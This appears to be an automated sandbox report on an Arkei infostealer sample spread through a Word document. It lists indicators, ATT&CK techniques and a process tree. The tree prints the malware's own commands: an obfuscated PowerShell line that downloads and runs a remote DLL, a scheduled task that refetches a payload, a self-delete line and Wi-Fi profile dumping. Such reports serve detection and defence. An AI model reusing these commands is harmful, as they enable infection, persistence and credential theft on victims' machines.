arkei | 0d3613b7a4aec3b9ad6f0fc308bdf7da98a4574e6cae6ab91a8c0ea4857f1fbc

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	ddond.com

Loads dropped DLL 4 IoCs

pid	Process
1248	aspnet_regbrowsers.exe
1248	aspnet_regbrowsers.exe
3704	aspnet_compiler.exe
3704	aspnet_compiler.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	CasPol.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	CasPol.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	CasPol.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\assembly\Desktop.ini	RegAsm.exe
File created	C:\Windows\assembly\Desktop.ini	RegAsm.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
47	checkip.dyndns.org

Drops file in System32 directory 20 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\A1N7QIE3	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\EK689RQQ	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\L6XBI5FC	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\5FCJE3OH	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\1NYCBAAI	aspnet_compiler.exe
File created	C:\Windows\SysWOW64\D2NGDJWL	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\A1N7QIE3	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\8QQ9HVKF	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\HLNY58Q9	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\1NYCBAAI	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\D2NGDJWL	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\EK689RQQ	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\Q9R1VKFU	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\Q9R1VKFU	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\8QQ9HVKF	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\5FCJE3OH	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\G47GDB16	aspnet_compiler.exe
File created	C:\Windows\SysWOW64\HLNY58Q9	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\L6XBI5FC	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\G47GDB16	aspnet_compiler.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3908 set thread context of 1248	3908	powershell.exe	104
PID 3908 set thread context of 3704	3908	powershell.exe	105
PID 3908 set thread context of 3436	3908	powershell.exe	107
PID 3908 set thread context of 1952	3908	powershell.exe	108

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\assembly	RegAsm.exe
File created	C:\Windows\assembly\Desktop.ini	RegAsm.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1172	1248	WerFault.exe	104

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	aspnet_compiler.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4844	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2548	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Kills process with taskkill 3 IoCs

evasion

pid	Process
4012	taskkill.exe
2952	taskkill.exe
1828	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	ddond.com
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ddond.com

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2160	WINWORD.EXE
2160	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3908	powershell.exe
3908	powershell.exe
3908	powershell.exe
3908	powershell.exe
3908	powershell.exe
1952	RegAsm.exe
3436	CasPol.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4012	taskkill.exe
Token: SeDebugPrivilege	2952	taskkill.exe
Token: SeDebugPrivilege	3908	powershell.exe
Token: SeDebugPrivilege	1828	taskkill.exe
Token: SeDebugPrivilege	1952	RegAsm.exe
Token: SeDebugPrivilege	3436	CasPol.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2160	WINWORD.EXE
2160	WINWORD.EXE
2160	WINWORD.EXE
2160	WINWORD.EXE
2160	WINWORD.EXE
2160	WINWORD.EXE
3732	EXCEL.EXE
3732	EXCEL.EXE
3732	EXCEL.EXE
3732	EXCEL.EXE
3732	EXCEL.EXE
3732	EXCEL.EXE
3732	EXCEL.EXE
1952	RegAsm.exe
3436	CasPol.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2160 wrote to memory of 800	2160	WINWORD.EXE	84
PID 2160 wrote to memory of 800	2160	WINWORD.EXE	84
PID 3732 wrote to memory of 4260	3732	EXCEL.EXE	87
PID 3732 wrote to memory of 4260	3732	EXCEL.EXE	87
PID 4828 wrote to memory of 3908	4828	ddond.com	91
PID 4828 wrote to memory of 3908	4828	ddond.com	91
PID 4828 wrote to memory of 4844	4828	ddond.com	92
PID 4828 wrote to memory of 4844	4828	ddond.com	92
PID 4828 wrote to memory of 4012	4828	ddond.com	94
PID 4828 wrote to memory of 4012	4828	ddond.com	94
PID 4828 wrote to memory of 2952	4828	ddond.com	97
PID 4828 wrote to memory of 2952	4828	ddond.com	97
PID 4828 wrote to memory of 1828	4828	ddond.com	98
PID 4828 wrote to memory of 1828	4828	ddond.com	98
PID 3908 wrote to memory of 3180	3908	powershell.exe	102
PID 3908 wrote to memory of 3180	3908	powershell.exe	102
PID 3180 wrote to memory of 1980	3180	csc.exe	103
PID 3180 wrote to memory of 1980	3180	csc.exe	103
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 1248	3908	powershell.exe	104
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 3704	3908	powershell.exe	105
PID 3908 wrote to memory of 2480	3908	powershell.exe	106
PID 3908 wrote to memory of 2480	3908	powershell.exe	106
PID 3908 wrote to memory of 2480	3908	powershell.exe	106
PID 3908 wrote to memory of 3436	3908	powershell.exe	107
PID 3908 wrote to memory of 3436	3908	powershell.exe	107
PID 3908 wrote to memory of 3436	3908	powershell.exe	107
PID 3908 wrote to memory of 3436	3908	powershell.exe	107
PID 3908 wrote to memory of 3436	3908	powershell.exe	107
PID 3908 wrote to memory of 3436	3908	powershell.exe	107
PID 3908 wrote to memory of 3436	3908	powershell.exe	107
PID 3908 wrote to memory of 3436	3908	powershell.exe	107
PID 3908 wrote to memory of 1952	3908	powershell.exe	108
PID 3908 wrote to memory of 1952	3908	powershell.exe	108
PID 3908 wrote to memory of 1952	3908	powershell.exe	108
PID 3908 wrote to memory of 1952	3908	powershell.exe	108
PID 3908 wrote to memory of 1952	3908	powershell.exe	108
PID 3908 wrote to memory of 1952	3908	powershell.exe	108
PID 3908 wrote to memory of 1952	3908	powershell.exe	108
PID 3908 wrote to memory of 1952	3908	powershell.exe	108
PID 3436 wrote to memory of 2108	3436	CasPol.exe	110
PID 3436 wrote to memory of 2108	3436	CasPol.exe	110
PID 3436 wrote to memory of 2108	3436	CasPol.exe	110
PID 1952 wrote to memory of 3500	1952	RegAsm.exe	111
PID 1952 wrote to memory of 3500	1952	RegAsm.exe	111
PID 1952 wrote to memory of 3500	1952	RegAsm.exe	111
PID 3704 wrote to memory of 5076	3704	aspnet_compiler.exe	117

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\NEW ORDER.docx" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:800

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Windows\SYSTEM32\WSCRIPT.exe
  WSCRIPT C:\Users\Public\update.js
  2⤵
  - Process spawned unexpected child process
  PID:4260

C:\ProgramData\ddond.com
C:\ProgramData\ddond.com https://www.mediafire.com/file/frjrn9astpfr2ua/1.htm/file
1⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://www.mediafire.com/file/jjqt737nagc8wqp/1.dll/file'))));Invoke-Expression $MMMMMMM
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qyy3wocm\qyy3wocm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3180
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1DB9.tmp" "c:\Users\Admin\AppData\Local\Temp\qyy3wocm\CSC1D7762912E0C47A082221D91DFF60B0.TMP"
      4⤵
      PID:1980
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    - Loads dropped DLL
    - Drops file in System32 directory
    PID:1248
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 1348
      4⤵
      Program crash
      PID:1172
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
    3⤵
    - Loads dropped DLL
    - Drops file in System32 directory
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe" & exit
      4⤵
      PID:5076
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:2548
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    PID:2480
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\SysWOW64\netsh.exe
      "netsh" wlan show profile
      4⤵
      PID:2108
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Drops desktop.ini file(s)
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:1952
  - - C:\Windows\SysWOW64\netsh.exe
      "netsh" wlan show profile
      4⤵
      PID:3500
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 83 /tn calsaasdendersw /F /tr """C:\ProgramData\milon.com""""""https://www.mediafire.com/file/3cv72x1byy9pj9q/1.htm/file"""
  2⤵
  - Creates scheduled task(s)
  PID:4844
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im WinWord.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4012
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2952
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im POWERPNT.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1828

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
PID:3328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1248 -ip 1248
1⤵
PID:1560

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery